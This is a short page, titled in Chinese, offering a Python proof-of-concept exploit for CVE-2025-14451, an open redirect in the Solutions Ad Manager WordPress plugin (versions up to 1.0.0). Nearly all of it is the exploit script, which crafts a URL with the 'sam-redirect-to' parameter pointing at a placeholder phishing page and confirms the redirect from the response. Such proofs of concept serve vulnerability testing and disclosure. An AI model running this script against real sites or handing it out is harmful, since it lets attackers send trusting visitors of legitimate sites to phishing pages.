CVE-2025-14451 WordPress Solutions Ad Manager插件开放重定向漏洞

import requests # CVE-2025-14451 PoC - Open Redirect in Solutions Ad Manager WordPress Plugin # Target: WordPress site with Solutions Ad Manager plugin <= 1.0.0 def exploit_open_redirect(target_url, redirect_target): """ Exploits the open redirect vulnerability in sam-redirect-to parameter Args: target_url: Base URL of the WordPress site redirect_target: Malicious URL to redirect users to """ # Construct malicious URL with sam-redirect-to parameter # The vulnerable parameter is 'sam-redirect-to' exploit_url = f"{target_url}?sam-redirect-to={redirect_target}" print(f"[*] Target: {target_url}") print(f"[*] Malicious Redirect Target: {redirect_target}") print(f"[*] Exploit URL: {exploit_url}") # Send request to trigger redirect try: response = requests.get(exploit_url, allow_redirects=False) # Check for redirect response if response.status_code in [301, 302, 303, 307, 308]: location = response.headers.get('Location', '') print(f"[+] Open Redirect Confirmed!") print(f"[+] Status Code: {response.status_code}") print(f"[+] Location Header: {location}") # Verify redirect goes to attacker-controlled domain if redirect_target in location or redirect_target in exploit_url: print("[+] Vulnerability successfully exploited!") return True else: print(f"[-] Unexpected response: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False # Example usage if __name__ == "__main__": target = "http://example.com/wp-content/plugins/solutions-ad-manager/public/" malicious_url = "https://attacker-controlled-site.com/phishing" exploit_open_redirect(target, malicious_url)